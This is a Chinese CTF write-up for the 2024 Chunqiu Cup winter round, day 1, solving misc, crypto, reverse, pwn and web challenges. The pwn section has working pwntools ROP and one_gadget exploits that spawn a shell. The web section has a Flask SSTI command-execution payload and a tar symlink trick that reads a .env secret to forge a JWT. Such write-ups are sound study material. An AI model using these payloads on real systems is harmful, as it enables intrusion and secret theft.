2024春秋杯冬季赛day1 Writeup By Phantom

一、 个人信息

个人名称：Phantom

个人排名：rank14

Misc

See anything in these pics?

首先下载附件，爆破压缩包

密码：5FIVE

解压下来，一张图片

foremost提取，得到另一张png

爆破一下宽高

flag{opium_00pium}

简单镜像提取

Neta下载提取文件

一个zip，解压得到

根据提示用RR_studio 恢复

得到一个xls

打开往下滑

That's cool!！本题通关FLAG：E7A10C15E26AA5750070EF756AAA1F7C

flag{E7A10C15E26AA5750070EF756AAA1F7C}

压力大写个脚本

先写个小脚本解压嵌套压缩包

import zipfile
import os
import base64
current_dir = os.getcwd()
for i in range(99, 0, -1):
    password_file = os.path.join(current_dir, f"password_{i}.txt")
    zip_file = os.path.join(current_dir, f"zip_{i}.zip")
    with open(password_file, "r") as f:
        encoded_password = f.read().strip() 
        password = base64.b64decode(encoded_password).decode("utf-8")  #
    with zipfile.ZipFile(zip_file) as zf:
        zf.extractall(path=current_dir, pwd=password.encode("utf-8"))
解压完是一堆txt，0的password是89504e47
import os
def merge_password_files(output_file="merged_passwords.txt", num_files=100):
    with open(output_file, 'w') as outfile:
        for i in range(num_files):
            file_name = f"password_{i}.txt"
            if os.path.exists(file_name):
                with open(file_name, 'r') as infile:
                    outfile.write(infile.read() + "\n")
            else:
                print(f"{file_name}不存在")
    print(f"合并完成路径：{output_file}")
merge_password_files(num_files=100)

然后合并全部 txt，删掉最后的 FGFGFG，再 base64 解码，最后 16 进制转图片得到一个二维码

https://rd.wechat.com/qrcode/confirm?block_type=101&content=flag%7B%5FPASSWORDs%

5Fis%5Ffl%40g%21%5F%7D

URL解码

flag{_PASSWORDs%5Fis_fl@g!_}

简单算术

def xor_decrypt(ciphertext, key):
    return ''.join(chr(ord(c) ^ key) for c in ciphertext)

def brute_force_xor(ciphertext):
    for key in range(256):
        decrypted = xor_decrypt(ciphertext, key)
        print(f"Key: {key} -> Decrypted: {decrypted}")

ciphertext = "xdg/m@]mjkz@vl@z~lf>b"
brute_force_xor(ciphertext)

手动补上fla

flag{x0r_Brute_is_easy!}

Crypto

你是小哈斯?

写一个脚本批量破解hash并拼接明文

import hashlib
import itertools
import string

# 1) 这里把你要匹配的所有 SHA-1 哈希都放进来
hash_list = [
    "356a192b7913b04c54574d18c28d46e6395428ab",
    "da4b9237bacccdf19c0760cab7aec4a8359010b0",
    "77de68daecd823babbb58edb1c8e14d7106e83bb",
    "1b6453892473a467d07372d45eb05abc2031647a",
    "ac3478d69a3c81fa62e60f5c3696165a4e5e6ac4",
    "c1dfd96eea8cc2b62785275bca38ac261256e278",
    "902ba3cda1883801594b6e1b452790cc53948fda",
    "fe5dbbcea5ce7e2988b8c69bcfdfde8904aabc1f",
    "0ade7c2cf97f75d009975f4d720d1fa6c19f4897",
    "b6589fc6ab0dc82cf12099d1c2d40ab994e8410c",
    "3bc15c8aae3e4124dd409035f32ea2fd6835efc9",
    "21606782c65e44cac7afbb90977d8b6f82140e76",
    "22ea1c649c82946aa6e479e1ffd321e4a318b1b0",
    "aff024fe4ab0fece4091de044c58c9ae4233383a",
    "58e6b3a414a1e090dfc6029add0f3555ccba127f",
    "4dc7c9ec434ed06502767136789763ec11d2c4b7",
    "8efd86fb78a56a5145ed7739dcb00c78581c5375",
    "95cb0bfd2977c761298d9624e4b4d4c72a39974a",
    "51e69892ab49df85c6230ccc57f8e1d1606caccc",
    "042dc4512fa3d391c5170cf3aa61e6a638f84342",
    "7a81af3e591ac713f81ea1efe93dcf36157d8376",
    "516b9783fca517eecbd1d064da2d165310b19759",
    "4a0a19218e082a343a1b17e5333409af9d98f0f5",
    "07c342be6e560e7f43842e2e21b774e61d85f047",
    "86f7e437faa5a7fce15d1ddcb9eaeaea377667b8",
    "54fd1711209fb1c0781092374132c66e79e2241b",
    "60ba4b2daa4ed4d070fec06687e249e0e6f9ee45",
    "d1854cae891ec7b29161ccaf79a24b00c274bdaa",
    "7a81af3e591ac713f81ea1efe93dcf36157d8376",
    "53a0acfad59379b3e050338bf9f23cfc172ee787",
    "042dc4512fa3d391c5170cf3aa61e6a638f84342",
    "a0f1490a20d0211c997b44bc357e1972deab8ae3",
    "53a0acfad59379b3e050338bf9f23cfc172ee787",
    "4a0a19218e082a343a1b17e5333409af9d98f0f5",
    "07c342be6e560e7f43842e2e21b774e61d85f047",
    "86f7e437faa5a7fce15d1ddcb9eaeaea377667b8",
    "54fd1711209fb1c0781092374132c66e79e2241b",
    "c2b7df6201fdd3362399091f0a29550df3505b6a",
    "86f7e437faa5a7fce15d1ddcb9eaeaea377667b8",
    "a0f1490a20d0211c997b44bc357e1972deab8ae3",
    "3c363836cf4e16666669a25da280a1865c2d2874",
    "4a0a19218e082a343a1b17e5333409af9d98f0f5",
    "54fd1711209fb1c0781092374132c66e79e2241b",
    "27d5482eebd075de44389774fce28c69f45c8a75",
    "5c2dd944dde9e08881bef0894fe7b22a5c9c4b06",
    "13fbd79c3d390e5d6585a21e11ff5ec1970cff0c",
    "07c342be6e560e7f43842e2e21b774e61d85f047",
    "395df8f7c51f007019cb30201c49e884b46b92fa",
    "11f6ad8ec52a2984abaafd7c3b516503785c2072",
    "84a516841ba77a5b4648de2cd0dfcb30ea46dbb4",
    "7a38d8cbd20d9932ba948efaa364bb62651d5ad4",
    "e9d71f5ee7c92d6dc9e92ffdad17b8bd49418f98",
    "d1854cae891ec7b29161ccaf79a24b00c274bdaa",
    "6b0d31c0d563223024da45691584643ac78c96e8",
    "5c10b5b2cd673a0616d529aa5234b12ee7153808",
    "4a0a19218e082a343a1b17e5333409af9d98f0f5",
    "07c342be6e560e7f43842e2e21b774e61d85f047",
    "86f7e437faa5a7fce15d1ddcb9eaeaea377667b8",
    "54fd1711209fb1c0781092374132c66e79e2241b",
    "60ba4b2daa4ed4d070fec06687e249e0e6f9ee45",
    "54fd1711209fb1c0781092374132c66e79e2241b",
    "86f7e437faa5a7fce15d1ddcb9eaeaea377667b8",
    "6b0d31c0d563223024da45691584643ac78c96e8",
    "58e6b3a414a1e090dfc6029add0f3555ccba127f",
    "53a0acfad59379b3e050338bf9f23cfc172ee787",
    "84a516841ba77a5b4648de2cd0dfcb30ea46dbb4",
    "22ea1c649c82946aa6e479e1ffd321e4a318b1b0",
    "e9d71f5ee7c92d6dc9e92ffdad17b8bd49418f98",
    "53a0acfad59379b3e050338bf9f23cfc172ee787",
    "042dc4512fa3d391c5170cf3aa61e6a638f84342",
    "a0f1490a20d0211c997b44bc357e1972deab8ae3",
    "042dc4512fa3d391c5170cf3aa61e6a638f84342",
    "a0f1490a20d0211c997b44bc357e1972deab8ae3",
    "53a0acfad59379b3e050338bf9f23cfc172ee787",
    "84a516841ba77a5b4648de2cd0dfcb30ea46dbb4",
    "11f6ad8ec52a2984abaafd7c3b516503785c2072",
    "95cb0bfd2977c761298d9624e4b4d4c72a39974a",
    "395df8f7c51f007019cb30201c49e884b46b92fa",
    "c2b7df6201fdd3362399091f0a29550df3505b6a",
    "3a52ce780950d4d969792a2559cd519d7ee8c727",
    "86f7e437faa5a7fce15d1ddcb9eaeaea377667b8",
    "a0f1490a20d0211c997b44bc357e1972deab8ae3",
    "3c363836cf4e16666669a25da280a1865c2d2874",
    "4a0a19218e082a343a1b17e5333409af9d98f0f5",
    "54fd1711209fb1c0781092374132c66e79e2241b",
    "27d5482eebd075de44389774fce28c69f45c8a75",
    "5c2dd944dde9e08881bef0894fe7b22a5c9c4b06",
    "13fbd79c3d390e5d6585a21e11ff5ec1970cff0c",
    "07c342be6e560e7f43842e2e21b774e61d85f047",
    "395df8f7c51f007019cb30201c49e884b46b92fa",
    "11f6ad8ec52a2984abaafd7c3b516503785c2072",
    "84a516841ba77a5b4648de2cd0dfcb30ea46dbb4",
    "7a38d8cbd20d9932ba948efaa364bb62651d5ad4",
    "e9d71f5ee7c92d6dc9e92ffdad17b8bd49418f98",
    "d1854cae891ec7b29161ccaf79a24b00c274bdaa",
    "6b0d31c0d563223024da45691584643ac78c96e8",
    "5c10b5b2cd673a0616d529aa5234b12ee7153808",
    "3a52ce780950d4d969792a2559cd519d7ee8c727",
    "22ea1c649c82946aa6e479e1ffd321e4a318b1b0",
    "aff024fe4ab0fece4091de044c58c9ae4233383a",
    "58e6b3a414a1e090dfc6029add0f3555ccba127f",
    "4dc7c9ec434ed06502767136789763ec11d2c4b7",
    "8efd86fb78a56a5145ed7739dcb00c78581c5375",
    "95cb0bfd2977c761298d9624e4b4d4c72a39974a",
    "51e69892ab49df85c6230ccc57f8e1d1606caccc",
    "042dc4512fa3d391c5170cf3aa61e6a638f84342",
    "7a81af3e591ac713f81ea1efe93dcf36157d8376",
    "516b9783fca517eecbd1d064da2d165310b19759",
    "4a0a19218e082a343a1b17e5333409af9d98f0f5",
    "07c342be6e560e7f43842e2e21b774e61d85f047",
    "86f7e437faa5a7fce15d1ddcb9eaeaea377667b8",
    "54fd1711209fb1c0781092374132c66e79e2241b",
    "60ba4b2daa4ed4d070fec06687e249e0e6f9ee45",
    "d1854cae891ec7b29161ccaf79a24b00c274bdaa",
    "7a81af3e591ac713f81ea1efe93dcf36157d8376",
    "53a0acfad59379b3e050338bf9f23cfc172ee787",
    "042dc4512fa3d391c5170cf3aa61e6a638f84342",
    "a0f1490a20d0211c997b44bc357e1972deab8ae3",
    "53a0acfad59379b3e050338bf9f23cfc172ee787",
    "4a0a19218e082a343a1b17e5333409af9d98f0f5",
    "07c342be6e560e7f43842e2e21b774e61d85f047",
    "86f7e437faa5a7fce15d1ddcb9eaeaea377667b8",
    "54fd1711209fb1c0781092374132c66e79e2241b",
    "c2b7df6201fdd3362399091f0a29550df3505b6a",
    "356a192b7913b04c54574d18c28d46e6395428ab",
    "da4b9237bacccdf19c0760cab7aec4a8359010b0",
    "77de68daecd823babbb58edb1c8e14d7106e83bb",
    "1b6453892473a467d07372d45eb05abc2031647a",
    "ac3478d69a3c81fa62e60f5c3696165a4e5e6ac4",
    "c1dfd96eea8cc2b62785275bca38ac261256e278",
    "902ba3cda1883801594b6e1b452790cc53948fda",
    "fe5dbbcea5ce7e2988b8c69bcfdfde8904aabc1f",
    "0ade7c2cf97f75d009975f4d720d1fa6c19f4897",
    "b6589fc6ab0dc82cf12099d1c2d40ab994e8410c",
    "3bc15c8aae3e4124dd409035f32ea2fd6835efc9",
    "21606782c65e44cac7afbb90977d8b6f82140e76"
]
candidates = set()
for i in range(10000):
    candidates.add(str(i))
lowercase = string.ascii_lowercase
for length in range(1, 4):
    for combo in itertools.product(lowercase, repeat=length):
        candidates.add("".join(combo))
uppercase = string.ascii_uppercase
for length in range(1, 4):
    for combo in itertools.product(uppercase, repeat=length):
        candidates.add("".join(combo))
symbols = "!@#$%^&*()-_=+[]{},.;:\"'`~<>?/\\|"
for sym in symbols:
    candidates.add(sym)
candidates.add(" ")
candidates.add("\t")
candidates.add("\n")
sha1_dict = {}

print("[*] 准备生成 SHA-1 字典，共有候选明文数量 =", len(candidates), "请稍候...")
for plain in candidates:
    h = hashlib.sha1(plain.encode("utf-8")).hexdigest()
    sha1_dict[h] = plain
print("[*] 字典生成完成。开始匹配...")
matched_plaintexts = ""

for hval in hash_list:
    if hval in sha1_dict:
        matched_plaintexts += sha1_dict[hval]  # 直接拼接
        print(f"{hval} => {sha1_dict[hval]}")
    else:
        print(f"{hval} => [未匹配]")

# 输出拼接结果
print("\n[*] 匹配的明文拼接结果:")
print(matched_plaintexts)

print("[*] 匹配完成。若还有未匹配，则可进一步扩大字典或检查是否有特殊格式。")

[*] 匹配的明文拼接结果:
1234567890-=qwertyuiopflag{no_is_flag}asdfghjklzxcvbnm,flag{game_cqb_isis_cxyz}.asdfghjklzxcvbnm,.qwertyuiopflag{no_is_flag}1234567890-=
[*] 匹配完成。若还有未匹配，则可进一步扩大字典或检查是否有特殊格式。

通往哈希的旅程

md5在线解密破解,md5解密加密

直接解

flag{18876011645}

Reverse

k0oh

首先用ScyllaHide插件去除反调试检查，手工去花后按p重新反编译得到源代码

分析后得出是变种RC4

爆破解密脚本

#include <iostream>
#include <Windows.h>
#include <cstring>

void KSA(int* state, unsigned char* key, int keyLen) {
    for (int i = 0; i < 256; ++i) {
        state[i] = i;  // 初始化状态数组
    }

    int j = 0;
    for (int i = 0; i < 256; ++i) {
        j = (j + state[i] + key[i % keyLen]) % 256;  // 打乱状态数组
        std::swap(state[i], state[j]);  // 交换
    }
}

void PRGA(int* state, unsigned char* input, unsigned char* output, int length) {
    int i = 0, j = 0;
    for (int k = 0; k < length; ++k) {
        i = (i + 1) % 256;
        j = (j + state[i]) % 256;
        std::swap(state[i], state[j]);  // 交换
        output[k] = input[k] ^ state[(state[i] + state[j]) % 256];  // 生成输出
    }
}

int main() {
    // 密文
    unsigned char EncFlag[] = {
        0x18, 0x9C, 0x47, 0x3D, 0x3B, 0xE1, 0x29, 0x27,
        0x9F, 0x34, 0x83, 0xD5, 0xED, 0xB5, 0x6E, 0x59,
        0x7F, 0xDE, 0x47, 0xD7, 0x65, 0x3F, 0x7A, 0x33,
        0x5B, 0x64, 0xB6, 0xFA, 0x94, 0x55, 0x87, 0x42,
        0x20, 0x06, 0x0C, 0x69, 0xFE, 0x72, 0xA9, 0xE4,
        0xD1, 0x7C
    };

    unsigned char key[] = "DDDDAAAASSSS";
    int keyLen = strlen((char*)key);
    unsigned char Result[42] = {0};
    for (int count = 0; count < 42; ++count) {
        for (int i = 28; i < 130; ++i) {
            unsigned char Buffer[42] = {0};
            unsigned char TempEnc[42] = {0};
            memcpy(TempEnc, Result, count);
            TempEnc[count] = i;
            int state[256];
            KSA(state, key, keyLen);
            PRGA(state, TempEnc, Buffer, count + 1);
            if (Buffer[count] == EncFlag[count]) {
                Result[count] = (unsigned char)i;
                break;
            }
        }
    }

    std::cout << "flag: " << Result << std::endl;  // 输出解密结果

    return 0;
}

flag{c58868f2-a62a-584b-b1f4-91b9348a9a22}

ezgo

from z3 import *
o=[0x50,0x4B,0x03,0x04,0x14]
c=[0x0E,0xE1,0xE5,0xF9,0x0C]
b=[
    0x01,0x57,0x2C,0x7C,0xC7,0x72,0x20,0x70,0xA5,0x96,
    0x21,0xDC,0xA8,0x76,0x69,0x14,0xC5,0x24,0x25,0x02,
    0xB7,0x7A,0xFC,0xF0,0xC4,0x49,0x56,0xC2,0xC1,0x95,
    0xEC,0x26,0xCC,0xF7,0xFF,0x73,0xE1,0x3F,0x84,0x46,
    0xA9,0xF9,0x3D,0x0E,0x45,0xF1,0xDA,0x92,0xCE,0x3B,
    0x3C,0xA0,0x16,0xBC,0x2D,0xBD,0xA4,0x32,0x90,0x62,
    0x9D,0x0C,0xDE,0xAD,0x40,0xCF,0x4B,0x4D,0x6E,0x79,
    0xC8,0x85,0xD2,0xAC,0x99,0xE8,0x1E,0xC9,0xD4,0x06,
    0x34,0x66,0xB8,0xD3,0x13,0xF4,0x42,0x1B,0x63,0x5F,
    0x82,0x5B,0x91,0x2A,0x33,0x5D,0xB9,0x7D,0xD5,0x6C,
    0x0D,0x28,0x08,0x9B,0x18,0x2E,0xA2,0x67,0x5A,0xE6,
    0x8A,0x19,0x50,0x9C,0xB1,0xEF,0x1F,0x12,0xBA,0x86,
    0x83,0x77,0x60,0x94,0xFD,0xF6,0x54,0xBF,0xA1,0x93,
    0x03,0xE7,0x58,0xE5,0x9A,0x7F,0x22,0xBE,0xD9,0x38,
    0x27,0x65,0xD7,0x23,0xFB,0x71,0xFA,0x8F,0xF5,0x6D,
    0x51,0x9E,0xD6,0x8B,0x89,0x11,0xCA,0x0F,0x8E,0xCB,
    0xB3,0xBB,0xF2,0x87,0x75,0x5C,0x2F,0x98,0x2B,0x1C,
    0xB4,0xC6,0x0A,0x4C,0x36,0x1A,0x15,0x88,0x1D,0xE4,
    0xC3,0x97,0x53,0x30,0x4A,0x3A,0xB5,0x61,0x55,0xC0,
    0xA7,0xDB,0x29,0x68,0xE2,0xE0,0x10,0x09,0x41,0x31,
    0xF3,0xAF,0xB6,0x6A,0x6F,0x00,0x05,0x0B,0xE3,0xD1,
    0x8D,0x47,0x74,0x78,0x7B,0x64,0xDD,0xAB,0xB0,0x39,
    0x37,0xFE,0xED,0x52,0xCD,0x81,0xF8,0xAA,0x48,0x6B,
    0xD0,0xEB,0x8C,0x44,0x59,0x17,0x9F,0x4F,0xB2,0x35,
    0xA3,0x7E,0xEE,0x4E,0xDF,0xE9,0x07,0x43,0xA6,0xAE,
    0xD8,0xEA,0x80,0x3E,0x04,0x5E
]
ba=Array('Bytes',BitVecSort(8),BitVecSort(8))
s=Solver()
for i in range(256):
    s.add(ba[i]==b[i])
k=[BitVec(f'K{i+1}',8) for i in range(6)]
s.add(c[0]==o[0]^k[0]^k[4]^ba[k[0]])
s.add(c[1]==o[1]^k[1]^k[5]^ba[k[1]])
s.add(c[2]==o[2]^k[2]^k[4]^ba[k[2]])
s.add(c[3]==o[3]^k[3]^k[5]^ba[k[3]])
s.add(c[4]==o[4]^k[4]^k[4]^ba[k[4]])
s.add(0xB6==0x50^k[2]^k[4]^ba[k[2]])
s.add(0xB6==0x4B^k[3]^k[5]^ba[k[3]])
s.add(0x1D==0x05^k[4]^k[4]^ba[k[4]])
s.add(0x9F==0x06^k[5]^k[5]^ba[k[5]])
for i in range(6):
    s.add((k[i]^(2 if i!=4 else 5))>=32)
    s.add((k[i]^(2 if i!=4 else 5))<=126)
if s.check()==sat:
    m=s.model()
    keys=[m[k[i]].as_long() for i in range(6)]
    print(', '.join(map(str,keys)))

计算EncKey

xor还原

def main_ez_go():
    key=[108,62,65,98,104,74]
    key[0]^=2
    key[2]^=2
    key[3]^=5
    key[4]^=5
    key[5]^=2
    result=''.join(chr(k^0xc)for k in key)
    print(result)

if __name__=="__main__":
    main_ez_go()

输出b2OkaD

利用程序源码中的base表解密

得到oadi

运行程序然后输入，打开压缩包就是flag

flag{616afeff6679-4a3e-af79-8eab7a32cd81}

PWM

Gender_Simulation

缓冲区溢出

from pwn import *

# 设置 ELF 文件和 libc 文件
binary_file = './pwn'
elf = ELF(binary_file)
libc = ELF('./libc.so.6')

# 设置调试信息和远程连接
context.log_level = 'debug'
context.arch = elf.arch
context.terminal = ['tmux', 'neww']
io = remote('47.93.12.9', 36888)

# 定义发送和接收的快捷方式
send = lambda data: io.send(data)
send_after = lambda delim, data: io.sendafter(delim, data)
send_line = lambda data: io.sendline(data)
send_line_after = lambda delim, data: io.sendlineafter(delim, data)
receive = lambda num_bytes=4096: io.recv(num_bytes)
receive_until = lambda delims, drop=True: io.recvuntil(delims, drop)
uint32 = lambda data: u32(data.ljust(4, b'\x00'))
uint64 = lambda data: u64(data.ljust(8, b'\x00'))

# 读取 libc 基地址
receive_until('gift: ')
libc_base_address = int(receive(14), 16) - libc.sym.setvbuf
info(f'libc_base_address: {hex(libc_base_address)}')

# 进行交互
receive_until('Girl')
send_line('2') 
receive_until('2. Tomboy')
send_line('2') 
receive_until('certificate')

# 构造 ROP 链
rdi_argument = libc_base_address + 0x000000000010f75b  # RDI 参数
return_address = 0x000000000040201a  # 返回地址
system_function = libc.sym.system + libc_base_address  # system 函数地址
bin_sh_address = next(libc.search(b'/bin/sh')) + libc_base_address  # "/bin/sh" 地址

# 发送 payload
send_line(p64(0x0004025E6))  # 发送地址
receive_until('If you think you')
payload = b'a' * 0x18 + p64(rdi_argument) + p64(bin_sh_address) + p64(return_address) + p64(system_function)
send(payload)

# 进入交互模式
io.interactive()  # 直接进入交互模式

进入shell后直接cat /home/ctf/flag

flag{2d378d87-87a6-4fc0-9823-432f7066f190}

bypass

from pwn import *
import time

# 本地可执行文件和 libc 文件路径
bin_file = './pwn'
elf = ELF(bin_file)
libc_file = ELF('./libc.so.6')

# 设置日志等级和架构
context.log_level = 'info'
context.arch = elf.arch
context.terminal = ['tmux', 'neww']

# 定义发送和接收数据的简化函数
send_data = lambda data: io.send(data)
send_after_data = lambda delim, data: io.sendafter(delim, data)
send_line_data = lambda data: io.sendline(data)
send_line_after_data = lambda delim, data: io.sendlineafter(delim, data)
recv_data = lambda numb=4096: io.recv(numb)
recv_until_data = lambda delims, drop=True: io.recvuntil(delims, drop)
unpack_32 = lambda data: u32(data.ljust(4, b'\x00'))
unpack_64 = lambda data: u64(data.ljust(8, b'\x00'))
get_qword_data = lambda data: (~np.uint64(data) + 1)
get_dword_data = lambda data: (~np.uint32(data) + 1)

# 获取 shell 的地址
def get_shell():
    return libc_base + libc_file.sym['system'], libc_base + next(libc_file.search(b'/bin/sh\x00'))

# 输出地址信息的函数
info_addr = lambda tag, addr: io.info(tag + '==>' + ': {:#x}'.format(addr))
# 交互模式
interact_mode = lambda: io.interactive()

# 连接远程服务
io = remote('47.93.11.51', 28882)

# 发送初始化数据
send_data(p8(2) * 4)
recv_until_data('d')
recv_until_data('\n')
libc_base = unpack_64(recv_data(6)) - libc_file.sym.puts
send_data(p8(0) * 4)

# one_gadget 的地址
one_gadget_address = 0x4f302

# 构造和发送 payload
send_data(b'KEY: ' + b'a' * 19 + p8(0x14) + p8(0x2) + b'c' * 8 + p64(one_gadget_address + libc_base))
time.sleep(0.1)  # 暂停以确保数据发送完成
send_data(b'VAL: ' + b'b' * 512)

# 进入交互模式
interact_mode()

flag{421ad418-cc3f-476f-9b7e-776041aef982}

WEB

easy_flask

没有任何过滤，直接塞payload即可

{{ self.__init__.__globals__.__builtins__.__import__('os').popen('cat /app/flag').read() }}

flag{48ad0cde8345c8b2608933ac4e85147e}

Gotar

首先随便注册个账号，发现没有下载权限，身份验证是使用token，JWT走起

源码给的JWTKEY是假的

这里有个上传，但是无法解析

看完源码就有思路了，这题的考点是通过链接tar逃逸读取env

mkdir phantom

cd phantom

ln -s ../../../.env phantom

cd ../

tar -cf phantom.tar phantom

将构建的phantom.tar上传

得到JWTKEY

构建

hackbar提交token,然后下载flag

flag{d9335dab-343f-42ad-8bdc-c20273efe753}